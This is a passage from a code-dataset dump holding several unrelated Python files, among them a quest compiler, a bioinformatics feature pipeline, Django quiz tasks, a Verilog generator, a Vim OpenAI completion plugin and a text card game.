201","sub_path":"services/RedisProvider.py","file_name":"RedisProvider.py","file_ext":"py","file_size_in_byte":2046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"161014518","text":"import pickle\n\nvVar=pickle.load( open( \"SOURCE/_var.pick\", \"rb\" ) )\nvRoom=pickle.load( open( \"SOURCE/_room.pick\", \"rb\" ) )\n\naR=list(filter(lambda x: x.later==True, vRoom))\nbR=list(filter(lambda x: x.later==False, vRoom))\nvRoom=bR+aR\n\n# обработка \"виртуальной команды\" next\n# преобразование её в goto roomname_следующей_комнаты\nif len(vRoom)>1:\n\tfor RID in range(0,len(vRoom)):\n\t\tR=vRoom[RID]\n\t\tfor AID in range(0,len(R.vAct)):\n\t\t\tA=R.vAct[AID]\n\t\t\tfor CID in range(0,len(A.vComm)):\n\t\t\t\tC=A.vComm[CID]\n\t\t\t\tif C.name==\"next\":\n\t\t\t\t\tif (RID+1)>=(len(vRoom)):\n\t\t\t\t\t\tprint(\"ERR: can't refer to NEXT room\")\n\t\t\t\t\telse:\n\t\t\t\t\t\tC.name=\"goto\"\n\t\t\t\t\t\tC.arg=vRoom[RID+1].roomname\n\t\t\t\t\t\tprint(C)\n\nprint(vVar)\n\nactLater=[]\n\n# счетчик инструкций и функция ip() - только для отладки\ninstruction=0\n\n# переменная хранит итоговый исходный код\ntotal=\"\"\n\nvTotal=[]\n\n\ndef quote(s):\n\treturn \"\\\"\"+s+\"\\\"\"\n\ndef skobe(a=\"\"):\n\treturn \"(\"+a+\")\"\n\ndef call(fname,a=None,b=None):\n\tglobal vTotal\n\t\n\tvTotal.append((fname,a,b))\n\t#~ if a!=None and b!=None:\n\t\t#~ vTotal.append((fname,a,b))\n\t\n\t#~ if a!=None and b==None:\n\t\t#~ vTotal.append((fname,a))\n\t#~ if a==None and b==None:\n\t\t#~ vTotal.append((fname))\n\n\ndef ip(val):\n\tglobal instruction\n\tinstruction+=val\n\ndef declvar(varname,val):\n\tif val==True:\n\t\tcall(\"byte1\",varname)\n\telse:\n\t\tcall(\"byte0\",varname)\n\t\n\tip(+1)\n\ndef rest():\n\tcall(\"rest\")\n\tip(+1)\n\t\ndef condjmp(s):\n\tcall(\"condjmp\",s)\n\tip(+1+3)\n\ndef lab(s):\n\tcall(\"label\",s)\n\ndef setName(s):\n\tcall(\"setname\",s)\n\tip(+1+3)\n\nimport hashlib\n\ndef room(R):\n\tlab(R.roomname)\n\tsetName(R.anchor)\n\n#генерируем блок переменных\nrest()\ncondjmp(\"mainprogram\")\nfor V in vVar:\n\tdeclvar(V,vVar[V])\nlab(\"mainprogram\")\nrest()\n\n\n\n\ndef onv(s):\n\tcall(\"onv\",s)\n\tip(+1+3)\n\t\ndef offv(s):\n\tcall(\"offv\",s)\n\tip(+1+3)\n\ndef condtext(CT):\n\tcall(\"condtxt\",CT.anchor)\n\tip(+1+3)\n\nmessXanchor={}\n\ndef condmes(CT):\n\tcall(\"condmes\",messXanchor[CT])\n\tip(+1+3)\n\ndef nop():\n\tcall(\"nop\")\n\tip(+1)\n\n\ndef interpCond(A):\n\trest()\n\tif A.trueVec==None and A.falseVec==None:\n\t\tonv(\"always\")\n\t\n\tfor ct in A.trueVec:\n\t\tonv(ct)\n\tfor ct in A.falseVec:\n\t\toffv(ct)\n\n\ndef condset(s):\n\tcall(\"condset\",s)\n\tip(+1+3)\n\t\ndef condunset(s):\n\tcall(\"condunset\",s)\n\tip(+1+3)\n\ndef interpComm(A):\n\tfor C in A.vComm:\n\t\tnam=C.name.strip()\n\t\tprint(nam)\n\t\tif \"goto\"==nam:\n\t\t\tcondjmp(C.arg)\n\t\tif \"nothing\"==nam:\n\t\t\tnop()\n\t\tif \"set\"==nam:\n\t\t\tcondset(C.arg)\n\t\tif \"unset\"==nam:\n\t\t\tcondunset(C.arg)\n\t\tif \"return\"==nam:\n\t\t\tcondret()\n\t\tif \"mes\"==nam:\n\t\t\tcondmes(C.arg)\n\n\n\ndef text(A):\n\tinterpCond(A)\n\tcondtext(A)\n\tinterpComm(A)\n\n\ndef condact(A):\n\tcall(\"condact\",A.anchor)\n\tip(+1+3)\n\ndef act(A):\n\tinterpCond(A)\n\tcondact(A)\n\t\n\tglobal actLater\n\tactLater.append(A)\n\n\ndef waitKey():\n\tcall(\"waitkey\")\n\tip(+1)\n\t\ndef condret():\n\tcall(\"condret\")\n\tip(+1)\n\ndef eq(s):\n\tcall(\"eq\",s)\n\tip(+1+3)\n\ndef end():\n\twaitKey()\n\t\n\tglobal actLater\n\tfor A in actLater:\n\t\trest()\n\t\teq(A.anchor)\n\t\tprint(A)\n\t\tinterpComm(A)\n\t\n\tactLater.clear()\n\n\n\n\n\ndef UUID():\n\timport os\n\t# генерация случайных строк вида f114b8379a7eebf2870a1ec9770c139a\n\treturn hashlib.md5(os.urandom(32)).hexdigest().lower()\n\nfor R in vRoom:\n\troom(R)\n\trest()\n\t\n\t#объявление текстов в комнате\n\tcondjmp(R.roomname+\"_decl\")\n\tfor T in (R.vText+R.vAct):\n\t\tcall(\"decl\",T.anchor,T.text)\n\t\tip(+len(T.text)+1)\n\t\n\t\n\t# объявление данных для команды mes\n\tfor T in (R.vText+R.vAct):\n\t\tfor C in T.vComm:\n\t\t\tprint(dir(C))\n\t\t\tif C.name==\"mes\":\n\t\t\t\tmessXanchor[C.arg]=UUID()\n\t\t\t\tcall(\"decl\", messXanchor[C.arg] ,C.arg)\n\t\n\tcall(\"decl\",R.anchor,R.roomname)\n\tlab(R.roomname+\"_decl\")\n\t\t\n\tfor T in R.vText:\n\t\ttext(T)\n\t\t\t\n\tfor A in R.vAct:\n\t\tact(A)\n\n\tend()\n\nimport sys\nfor x in vTotal:\n\tsys.stdout.write(x[0]+\" \")\n\tif x[1]:\n\t\tsys.stdout.write(x[1]+\" \")\n\tif x[2]:\n\t\tsys.stdout.write(x[2]+\" \")\n\tprint(\"\")\n\nimport pickle\n\npickle.dump( vTotal, open( \"SOURCE/_quest.pick\", \"wb\" ) )\n\n","sub_path":"lib1.py","file_name":"lib1.py","file_ext":"py","file_size_in_byte":4015,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"528462085","text":"#coding:utf-8\r\nimport json\r\nimport sys\r\nsys.path.append(r'C:\\Users\\Administrator\\PycharmProjects\\myfirst_python\\my_python_requests')\r\nfrom util.operation_xls import OperationXls\r\nfrom base.runmethod import RunMethod\r\nfrom data.get_data import GetData\r\nfrom jsonpath_rw import jsonpath,parse\r\nclass DependdentData:\r\n def __init__(self,case_id):\r\n self.case_id = case_id\r\n self.opera_xls = OperationXls()\r\n self.data = GetData()\r\n # 通过case_id去获取该case_id的整行数据\r\n def get_case_line_data(self):\r\n rows_data = self.opera_xls.get_rows_data(self.case_id)\r\n return rows_data\r\n # 执行依赖测试，获取结果\r\n def run_dependent(self):\r\n run_method = RunMethod()\r\n row_num = self.opera_xls.get_row_num(self.case_id)\r\n request_data = self.data.get_data_for_json(row_num)\r\n method = self.data.get_request_method(row_num)\r\n url = self.data.get_request_url(row_num)\r\n res = run_method.run_main(method,url,request_data)\r\n return json.loads(res)\r\n #根据依赖的key去获取执行依赖测试case的响应,然后返回\r\n def get_data_for_key(self,row):\r\n depend_data = self.data.get_depend_key(row)\r\n response_data = self.run_dependent()\r\n json_exe = parse(depend_data)\r\n madle = json_exe.find(response_data)\r\n return [math.value for math in madle][0]\r\n\r\nif __name__ == '__main__':\r\n res = \"orders.id\"\r\n res2 = json.loads(res)\r\n json_exe = parse(res)\r\n madle = json_exe.find(order)\r\n print([math.value for math in madle][0])\r\n","sub_path":"dependent_data.py","file_name":"dependent_data.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"496014001","text":"#!/Users/11834/.conda/envs/Pytorch_GPU/python.exe\n# -*- coding: UTF-8 -*-\n'''=================================================\n@Project -> File ：FWorks -> feature_generation\n@IDE ：PyCharm\n@Date ：2020/12/6 21:20\n=================================================='''\nimport os\nimport numpy as np\nfrom configparser import ConfigParser\nfrom Util.processing_pssm_msaTopsfm import Processing_PSSM_MSAToPSFM\n\nconfig = ConfigParser()\nconfig.read('DMVFL-RSA.config')\nHHBLITS_EXE = config.get('HHBLITS', 'HHBLITS_EXE')\nHHBLITS_DB = config.get('HHBLITS', 'HHBLITS_DB')\n\n\nclass FeaturesGeneration(object):\n def __init__(self, pro_name, sequence, result_path):\n seq_path = os.path.join(result_path, pro_name)\n with open(seq_path, \"w\") as f:\n f.write(\">\" + pro_name.strip() + \"\\n\" + sequence.strip())\n self.seq_path = seq_path\n self.pro_name = pro_name.strip()\n self.seq = sequence.strip()\n self.result_path = result_path\n self.msa_path = os.path.join(self.result_path, self.pro_name + \".a3m\")\n self.PSFM_path = os.path.join(self.result_path, self.pro_name + \".psfm\")\n self.PRSA_path = os.path.join(self.result_path, self.pro_name + \".temples\")\n self.PSS_path = os.path.join(self.result_path, self.pro_name + \".ss\")\n self.PSSM_path = os.path.join(self.result_path, self.pro_name + \".opssm\")\n\n def PSSM_PSS_generation(self):\n if os.path.exists(self.PSSM_path) and os.path.exists(self.PSSM_path):\n pass\n else:\n PSSM_PSS_cmd = \"java -jar GeneratePSSM_PSS_PSA.jar \" + self.result_path + \" \" + self.seq_path + \" \" + str(\n 0) + \" \" + str(1)\n os.system(PSSM_PSS_cmd)\n return self.seq_path\n\n def msa_generation(self):\n msa_cmd = HHBLITS_EXE + ' -i ' + self.seq_path + ' -d ' + HHBLITS_DB + ' -n ' + str(5) + ' -e ' + str(\n 0.1) + ' -cov ' + str(80) + ' -id ' + str(90) + ' -oa3m ' + self.msa_path\n os.system(msa_cmd)\n\n def PSFM_generation(self):\n if os.path.exists(self.PSFM_path):\n print(\"PSFM have existed!\")\n elif os.path.exists(self.msa_path):\n print(\"MSA have existed!\")\n MSAToPSFM = Processing_PSSM_MSAToPSFM()\n PSFM = MSAToPSFM.NumericMSAToPSFM(self.msa_path)\n np.savetxt(self.PSFM_path, PSFM, fmt='%.04f')\n else:\n self.msa_generation()\n MSAToPSFM = Processing_PSSM_MSAToPSFM()\n PSFM = MSAToPSFM.NumericMSAToPSFM(self.msa_path)\n np.savetxt(self.PSFM_path, PSFM, fmt='%.04f')\n\n def Threading_based_PRSA(self, cutoff_threshold=0.5, iter_num=1):\n\n PRSA_cmd = \"java -jar JPSFMThreader.jar \" + self.pro_name + \" \" + self.seq + \" \" + str(\n cutoff_threshold) + \" \" + str(iter_num) + \" \" + self.PSFM_path + \" \" + self.PRSA_path\n os.system(PRSA_cmd)\n","sub_path":"feature_generation.py","file_name":"feature_generation.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"552567226","text":"import hashlib\nimport hmac\n\nfrom django.conf import settings\n\n\n__all__ = ['TemplateTaskError', 'TemplateTask', 'MultipleChoiceTask', 'Choice',\n 'QuestionTask', 'task_classes']\n\n\nclass TemplateTaskError(Exception):\n pass\n\n\nclass TemplateTask:\n def __init__(self, identifier):\n self.identifier = identifier\n\n def check_for_errors(self):\n raise NotImplemented\n\n def validate(self, values):\n raise NotImplemented\n\n def extract_values(self, user, scenario, form_values):\n raise NotImplemented\n\n def get_mac(self, user, scenario):\n mac_msg = 'templatetask:{}:{}:{}'.format(user.pk, scenario.pk, self.identifier)\n return hmac.new(settings.SECRET_KEY.encode(), mac_msg.encode(),\n hashlib.sha256).hexdigest()\n\n\nclass MultipleChoiceTask(TemplateTask):\n task_type = 'multiple_choice'\n\n def __init__(self, identifier, **kwargs):\n super().__init__(identifier)\n self.choices = {}\n\n def check_for_errors(self):\n if not self.choices:\n raise TemplateTaskError('Empty choices')\n\n def extract_values(self, user, scenario, form_values):\n values = {}\n for choice in self.choices.values():\n choice_mac = choice.get_mac(user, scenario, self.identifier)\n values[choice.name] = bool(form_values.get(choice_mac))\n return values\n\n def validate(self, values):\n for choice in self.choices.values():\n if values[choice.name] != choice.correct:\n return False\n return True\n\n def __repr__(self):\n return '{}(choices={!r})'.format(self.__class__.__name__, self.choices)\n\n\nclass SingleChoiceTask(TemplateTask):\n task_type = 'single_choice'\n\n def __init__(self, identifier, **kwargs):\n super().__init__(identifier)\n self.choices = {}\n\n def check_for_errors(self):\n if not self.choices:\n raise TemplateTaskError('Empty choices')\n\n num_correct = 0\n for choice in self.choices.values():\n if choice.correct:\n num_correct += 1\n if num_correct != 1:\n raise TemplateTaskError('Require exactly 1 correct answer.')\n\n def extract_values(self, user, scenario, form_values):\n values = {'answer': None}\n for choice in self.choices.values():\n choice_mac = choice.get_mac(user, scenario, self.identifier)\n if form_values.get('answer') == choice_mac:\n values['answer'] = choice.name\n break\n return values\n\n def validate(self, values):\n if values['answer'] is None:\n return False\n return self.choices[values['answer']].correct\n\n def __repr__(self):\n return '{}(choices={!r})'.format(self.__class__.__name__, self.choices)\n\n\nclass Choice:\n def __init__(self, name, correct=False, **kwargs):\n self.name = name\n self.correct = correct\n\n def get_mac(self, user, scenario, task_identifier):\n mac_msg = 'choice:{}:{}:{}:{}'.format(user.pk, scenario.pk, task_identifier, self.name)\n return hmac.new(settings.SECRET_KEY.encode(), mac_msg.encode(),\n hashlib.sha256).hexdigest()\n\n def __repr__(self):\n return '{}(name={!r}, correct={!r})'.format(self.__class__.__name__,\n self.name,\n self.correct)\n\n\nclass QuestionTask(TemplateTask):\n task_type = 'question'\n\n def __init__(self, identifier, case_sensitive=False, strip=True, **kwargs):\n super().__init__(identifier)\n self.answers = []\n self.case_sensitive = case_sensitive\n self.strip = strip\n\n def check_for_errors(self):\n if not self.answers:\n raise TemplateTaskError('No answers')\n if not isinstance(self.case_sensitive, bool):\n raise TemplateTaskError('Attribute \"case_sensitive\" must be of type bool')\n if not isinstance(self.strip, bool):\n raise TemplateTaskError('Attribute \"strip\" must be of type bool')\n\n def extract_values(self, user, scenario, form_values):\n return {'answer': form_values.get('answer', '')}\n\n def validate(self, values):\n answer = values['answer']\n if self.strip:\n answer = answer.strip()\n if not self.case_sensitive:\n answer = answer.lower()\n\n for expected_answer in self.answers:\n if self.strip:\n expected_answer = expected_answer.strip()\n if not self.case_sensitive:\n expected_answer = expected_answer.lower()\n if answer == expected_answer:\n return True\n return False\n\n def __repr__(self):\n return '{}(answers={!r}, case_sensitive={!r}, strip={!r})'.format(\n self.__class__.__name__, self.answers, self.case_sensitive, self.strip)\n\n\ntask_classes = {\n MultipleChoiceTask.task_type: MultipleChoiceTask,\n SingleChoiceTask.task_type: SingleChoiceTask,\n QuestionTask.task_type: QuestionTask\n}\n","sub_path":"insekta/insekta/scenarios/dsl/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":5089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"287606422","text":"from math import ceil\n\nfrom veriloggen import *\nfrom veriloggen.types.util import log2\n\n\n# pe_conf packt = {op_conf,id_pe,conf_data}\n\ndef make_control_conf(cgra_id, num_pe_io, num_cicle_wait_conf_finish):\n m = Module('cgra%d_control_conf' % cgra_id)\n\n clk = m.Input('clk')\n rst = m.Input('rst')\n start = m.Input('start')\n\n available_read = m.Input('available_read')\n req_rd_data = m.Output('req_rd_data')\n rd_data = m.Input('rd_data', 512)\n rd_data_valid = m.Input('rd_data_valid')\n\n conf_out_bus = m.OutputReg('conf_out_bus', 64)\n\n read_fifo_mask = m.OutputReg('read_fifo_mask', num_pe_io)\n write_fifo_mask = m.OutputReg('write_fifo_mask', num_pe_io)\n\n done = m.OutputReg('done')\n\n FSM_INIT_CTRL_IDLE = m.Localparam('FSM_INIT_CTRL_IDLE', 0)\n FSM_INIT_CTRL_INIT = m.Localparam('FSM_INIT_CTRL_INIT', 1)\n FSM_SEND_INIT_CONF_PE = m.Localparam('FSM_SEND_INIT_CONF_PE', 2)\n FSM_INIT_CTRL_WAIT_DATA = m.Localparam('FSM_INIT_CTRL_WAIT_DATA', 3)\n FSM_INIT_CTRL_REQ_DATA = m.Localparam('FSM_INIT_CTRL_REQ_DATA', 4)\n FSM_INIT_CONF_DONE = m.Localparam('FSM_INIT_CONF_DONE', 5)\n FSM_WAIT_ALL_CONF_FINISH = m.Localparam('FSM_WAIT_ALL_CONF_FINISH', 6)\n\n m.EmbeddedCode('')\n fsm_conf_ctrl = m.Reg('fsm_conf_ctrl', 3)\n fsm_conf_ctrl_next = m.Reg('fsm_conf_ctrl_next', 3)\n conf_req_data = m.Reg('conf_req_data')\n conf_cl = m.Reg('conf_cl', 512)\n qtd_conf = m.Reg('qtd_conf', 32)\n conf_data = m.Reg('conf_data', 64)\n send_conf = m.Reg('send_conf')\n conf_counter = m.Reg('conf_counter', 32)\n conf_counter_cl = m.Reg('conf_counter_cl', 4)\n wait_counter = m.Reg('wait_counter', int(ceil(log2(num_cicle_wait_conf_finish))) + 1)\n\n m.EmbeddedCode('')\n req_rd_data.assign(conf_req_data)\n\n m.Always(Posedge(clk))(\n If(rst)(\n fsm_conf_ctrl(FSM_INIT_CTRL_IDLE),\n fsm_conf_ctrl_next(FSM_INIT_CTRL_IDLE),\n conf_req_data(0),\n send_conf(0),\n conf_counter(0),\n conf_counter_cl(Int(8, conf_counter_cl.width, 10)),\n done(0),\n read_fifo_mask(0),\n write_fifo_mask(0),\n wait_counter(0)\n ).Else(\n conf_req_data(0),\n send_conf(0),\n Case(fsm_conf_ctrl)(\n When(FSM_INIT_CTRL_IDLE)(\n If(start)(\n fsm_conf_ctrl(FSM_INIT_CTRL_REQ_DATA),\n fsm_conf_ctrl_next(FSM_INIT_CTRL_INIT)\n )\n ),\n When(FSM_INIT_CTRL_INIT)(\n qtd_conf(conf_cl[0:32]),\n read_fifo_mask(conf_cl[32:32 + num_pe_io]),\n write_fifo_mask(conf_cl[64:64 + num_pe_io]),\n fsm_conf_ctrl(FSM_SEND_INIT_CONF_PE),\n ),\n When(FSM_SEND_INIT_CONF_PE)(\n If(conf_counter >= qtd_conf)(\n fsm_conf_ctrl(FSM_WAIT_ALL_CONF_FINISH)\n ).Else(\n If(conf_counter_cl < Int(8, conf_counter_cl.width, 10))(\n conf_data(conf_cl[0:64]),\n conf_cl(conf_cl[64:]),\n send_conf(1),\n conf_counter.inc(),\n conf_counter_cl.inc(),\n ).Else(\n conf_counter_cl(Int(0, conf_counter_cl.width, 10)),\n fsm_conf_ctrl(FSM_INIT_CTRL_REQ_DATA),\n fsm_conf_ctrl_next(FSM_SEND_INIT_CONF_PE)\n )\n )\n ),\n When(FSM_INIT_CTRL_REQ_DATA)(\n If(available_read)(\n conf_req_data(1),\n fsm_conf_ctrl(FSM_INIT_CTRL_WAIT_DATA)\n )\n ),\n When(FSM_INIT_CTRL_WAIT_DATA)(\n If(rd_data_valid)(\n conf_cl(rd_data),\n fsm_conf_ctrl(fsm_conf_ctrl_next),\n )\n ),\n When(FSM_WAIT_ALL_CONF_FINISH)(\n wait_counter.inc(),\n If(wait_counter > num_cicle_wait_conf_finish)(\n fsm_conf_ctrl(FSM_INIT_CONF_DONE)\n )\n ),\n When(FSM_INIT_CONF_DONE)(\n done(1)\n )\n )\n )\n )\n\n m.Always(Posedge(clk))(\n If(rst)(\n conf_out_bus(0),\n ).Else(\n If(send_conf)(\n conf_out_bus(conf_data),\n ).Else(\n conf_out_bus(0)\n ),\n )\n )\n\n return m\n","sub_path":"fdam-hw-generator/src/fdam_cgra/make_control_conf.py","file_name":"make_control_conf.py","file_ext":"py","file_size_in_byte":4721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"161635963","text":"import urllib, urllib.request\nimport json\n\ntry:\n import vim\nexcept:\n print(\"No vim module available outside vim\")\n pass\n\n\nimport openai\nfrom AUTH import *\n\nopenai.organization = ORGANIZATION_ID\nopenai.api_key = SECRET_KEY\nMAX_SUPPORTED_INPUT_LENGTH = 4096\nUSE_STREAM_FEATURE = True\nMAX_TOKENS_DEFAULT = 64\n\ndef complete_input_max_length(input_prompt, max_input_length=MAX_SUPPORTED_INPUT_LENGTH, stop=None, max_tokens=64):\n input_prompt = input_prompt[-max_input_length:]\n response = openai.Completion.create(engine='davinci-codex', prompt=input_prompt, best_of=1, temperature=0.5, max_tokens=max_tokens, stream=USE_STREAM_FEATURE, stop=stop)\n return response\n\ndef complete_input(input_prompt, stop, max_tokens):\n try:\n response = complete_input_max_length(input_prompt, int(2.5 * MAX_SUPPORTED_INPUT_LENGTH), stop=stop, max_tokens=max_tokens)\n except openai.error.InvalidRequestError:\n response = complete_input_max_length(input_prompt, MAX_SUPPORTED_INPUT_LENGTH, stop=stop, max_tokens=max_tokens)\n print('Using shorter input.')\n\n return response\n\ndef get_max_tokens():\n max_tokens = None\n if vim.eval('exists(\"a:max_tokens\")') == '1':\n max_tokens_str = vim.eval('a:max_tokens')\n if max_tokens_str:\n max_tokens = int(max_tokens_str)\n\n if not max_tokens:\n max_tokens = MAX_TOKENS_DEFAULT\n\n return max_tokens\n\ndef delete_current_line_if_empty_and_stop_below_matches_stop_string(stop):\n vim_buf = vim.current.buffer\n row, col = vim.current.window.cursor\n if row == len(vim_buf):\n return\n # Get next none empty line using get_first_line_below_cursor_with_text\n next_line = get_first_line_below_cursor_with_text()\n if next_line == stop:\n if len(vim_buf[row-1]) == 0:\n vim_buf[row-1:row] = []\n\ndef delete_empty_inserted_lines_if_stop_matches_stop_string(stop):\n vim_buf = vim.current.buffer\n row, col = vim.current.window.cursor\n if row == len(vim_buf):\n return\n # Get next none empty line using get_first_line_below_cursor_with_text\n next_line = get_first_line_below_cursor_with_text()\n if next_line == stop:\n while True:\n if row >= len(vim_buf):\n break\n # Print the number of lines.\n if len(vim_buf[row-1]) == 0:\n vim_buf[row-1:row] = []\n else:\n break\n if len(vim_buf[row-1]) == 0:\n vim_buf[row-1:row] = []\n\ndef get_first_line_below_cursor_with_text():\n vim_buf = vim.current.buffer\n row, col = vim.current.window.cursor\n while True:\n if row == len(vim_buf):\n return None\n if len(vim_buf[row]) > 0:\n return vim_buf[row]\n row += 1\n\n\ndef create_completion(stop=None): \n max_tokens = get_max_tokens()\n vim_buf = vim.current.buffer\n input_prompt = '\\n'.join(vim_buf[:])\n \n row, col = vim.current.window.cursor\n input_prompt = '\\n'.join(vim_buf[row:])\n input_prompt += '\\n'.join(vim_buf[:row-1])\n input_prompt += '\\n' + vim_buf[row-1][:col]\n if not stop:\n stop = get_first_line_below_cursor_with_text()\n response = complete_input(input_prompt, stop=stop, max_tokens=max_tokens)\n write_response(response, stop=stop)\n\ndef write_response(response, stop):\n vim_buf = vim.current.buffer\n vim_win = vim.current.window\n while True:\n # TODO: Fix bug that causes Vim to freeze when arrow keys are used.\n # Check if the user pressed any key.\n if vim_win.cursor[0] > len(vim_buf):\n return\n if vim_win.cursor[0] == len(vim_buf) and vim_win.cursor[1] > len(vim_buf[-1]):\n return\n if vim.eval('getchar(0)') != '0':\n return\n\n if USE_STREAM_FEATURE:\n single_response = next(response)\n else:\n single_response = response\n completion = single_response['choices'][0]['text']\n if single_response['choices'][0]['finish_reason'] != None:\n if stop == '\\n':\n completion += '\\n'\n row, col = vim.current.window.cursor\n current_line = vim.current.buffer[row-1]\n new_line = current_line[:col] + completion + current_line[col:]\n if not USE_STREAM_FEATURE:\n if new_line == '':\n new_line = new_line\n elif new_line[-1] == '\\n':\n new_line = new_line[:-1]\n new_lines = new_line.split('\\n')\n new_lines.reverse()\n if len(vim_buf) == row:\n vim_buf.append('')\n \n vim_buf[row-1] = None\n cursor_pos_base = tuple(vim_win.cursor)\n for row_i in range(len(new_lines)):\n vim.current.buffer[row-1:row-1] = [new_lines[row_i]]\n\n if new_line == '':\n cursor_target_col = 0\n elif new_line[-1] != '\\n':\n cursor_target_col = len(new_lines[0])\n else:\n cursor_target_col = 0\n vim_win.cursor = (cursor_pos_base[0] + row_i, cursor_target_col)\n\n if not USE_STREAM_FEATURE:\n break\n\n # Flush the vim buffer.\n vim.command(\"redraw\")\n if USE_STREAM_FEATURE:\n if single_response['choices'][0]['finish_reason'] != None:\n # delete_current_line_if_empty_and_stop_below_matches_stop_string(stop)\n delete_empty_inserted_lines_if_stop_matches_stop_string(stop)\n break\n\n\n","sub_path":"python/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":5417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"177193511","text":"import requests\nfrom config import settings\n\n\ndef get_news(ticker, num_of_articles=10):\n res = requests.get(\n f\"{settings.API_BASE_URL}/stable/stock/{ticker}/news/last/{num_of_articles}\",\n params={'token': settings.MY_API_KEY})\n data = res.json()\n\n articles = []\n for article in data:\n articles.append(article)\n return articles\n\n\ndef get_tickers_news(tickers):\n tickers_articles = []\n for ticker in tickers:\n tickers_articles.append(get_news(ticker, num_of_articles=10))\n return tickers_articles\n","sub_path":"beatthemarket/blueprints/news/data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"630219127","text":"T = int(input())\nls = [\"ZRO\", \"ONE\", \"TWO\", \"THR\", \"FOR\", \"FIV\", \"SIX\", \"SVN\", \"EGT\", \"NIN\"]\nfor tc in range(1, T+1):\n num, N = input().split()\n n = list(input().split())\n cnt_ls = [0]*10\n for j in n:\n for i in range(10):\n if ls[i] == j:\n cnt_ls[i] += 1\n break\n print(f'#{tc}')\n for i in range(10):\n print((ls[i] + ' ') * cnt_ls[i], end = ' ')\n print()","sub_path":"0217/1221.GNS.py","file_name":"1221.GNS.py","file_ext":"py","file_size_in_byte":428,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"391634531","text":"from data_lineage.graph.graph import Graph\nfrom data_lineage.parser.parser import parse as parse_single\nfrom data_lineage.visitors.dml_visitor import SelectSourceVisitor, SelectIntoVisitor, CopyFromVisitor\n\n\ndef parse(queries):\n parsed = []\n for query in queries:\n parsed.append(parse_single(query.sql))\n\n return parsed\n\n\ndef get_dml_queries(parsed):\n queries = []\n for node in parsed:\n select_source_visitor = SelectSourceVisitor()\n select_into_visitor = SelectIntoVisitor()\n copy_from_visitor = CopyFromVisitor()\n\n for visitor in [select_source_visitor, select_into_visitor, copy_from_visitor]:\n node.accept(visitor)\n if len(visitor.sources) > 0 and visitor.target is not None:\n queries.append(visitor)\n break\n\n return queries\n\n\ndef create_graph(dml_queries):\n graph = Graph()\n graph.create_graph(dml_queries)\n\n return graph\n","sub_path":"data_lineage/data_lineage.py","file_name":"data_lineage.py","file_ext":"py","file_size_in_byte":941,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"525680575","text":"\"\"\"S-CARD to Death!\"\"\"\n\n__author__ = \"730249177\"\n\nplayer: str\npoints: int = 1\ncontinue_playing: bool = True\nCLUB: str = '\\u2663'\nSPADES: str = '\\u2660'\nDIAMOND: str = '\\u2666'\nHEART: str = '\\u2665'\nBLACK_HEART: str = '\\u2764\\uFE0F'\n\n\ndef main() -> None:\n \"\"\"The program's entrypoint.\"\"\"\n greet()\n global points \n global continue_playing \n while continue_playing:\n option1: int = int(input(\"Do you want to guess the color of a card \" + player + \"? 1 = Yes and 2 = No: \"))\n if option1 == 1:\n points = points + 5\n color()\n else:\n option2: int = int(input(player + \", do you want to guess the number on the card? 1 = Yes or 2 = No: \"))\n if option2 == 1:\n points = points + 5\n number(points)\n else:\n option3: int = int(input(\"Do you wish to end the game \" + player + \"? 1 = Yes or 2 = No: \"))\n if option3 == 1:\n points = points + 1\n continue_playing = False\n print(\"The game has ended game and you will now receieve 10 years of bad luck. Thank you for playing S-CARD to Death! You have earned \" + str(points) + \" adventure points. \" + BLACK_HEART)\n else:\n points = points + 5\n color() \n return None\n\n\ndef greet() -> None:\n \"\"\"Greeting the player.\"\"\"\n global player\n player = input(\"Enter your name: \")\n print(player + \" are you ready to play S-CARD to Death? \" + CLUB + SPADES + DIAMOND + HEART)\n print(\"About this game. A very smart, talented, beautiful individual invented this game you are about to play, called S-CARD to Death. Here are the instructions for the game. You will choose a card from the stack. Now, I must inform you that the cards in this stack may be cursed. Be very careful of your guesses, as they could lead to XDANGERX! Continue playing to see how many adventure points you can earn! \") \n return None\n\n\ndef color() -> None:\n \"\"\"The color of the card is Red.\"\"\"\n global points\n global player \n global continue_playing\n response1 = int(input(\"Pick a color; 1 = Red, 2 = Black: \"))\n if response1 == 1:\n points = points + 5\n suit: int = int(input(\"Nice job \" + player + \"! You have earned 5 points. Now, guess the suit of the card. 1 = Hearts, 2 = Spades, 3 = Clubs, 4 = Diamonds. \"))\n from random import randint\n e = randint(1, 4)\n if suit > 0:\n while e > suit:\n points = points + 5\n e = e - 1\n print(f\"Good work {player}! You have earned 5 points. Final question. \")\n number(points)\n else:\n points = points + 1\n print(\"Sorry! That answer was incorrect. The game has ended and you will be single forever. Your total adventure points earned are \" + str(points))\n keep_playing() \n return None\n\n\ndef number(points: int) -> int:\n \"\"\"The number on the card is lower than 6.\"\"\"\n points = points\n global player \n global continue_playing\n y: int = int(input(\"Guess if the number is higher or lower than 6: 1 = Higher, 2 = Lower: \"))\n if y == 2:\n points = points + 5\n print(\"Wow \" + player + \", you rock! You have earned 5 points. \")\n print(\"You have won the game \" + player + \" !!! Congratulations! \" + CLUB + SPADES + HEART + DIAMOND + \" Thank you for playing S-CARD to Death. Your total adventure points earned are \" + str(points))\n else:\n points = points + 1\n print(\"Sorry! That answer was incorrect. The game has ended and you will be single forever. Your total adventure points earned are \" + str(points))\n return 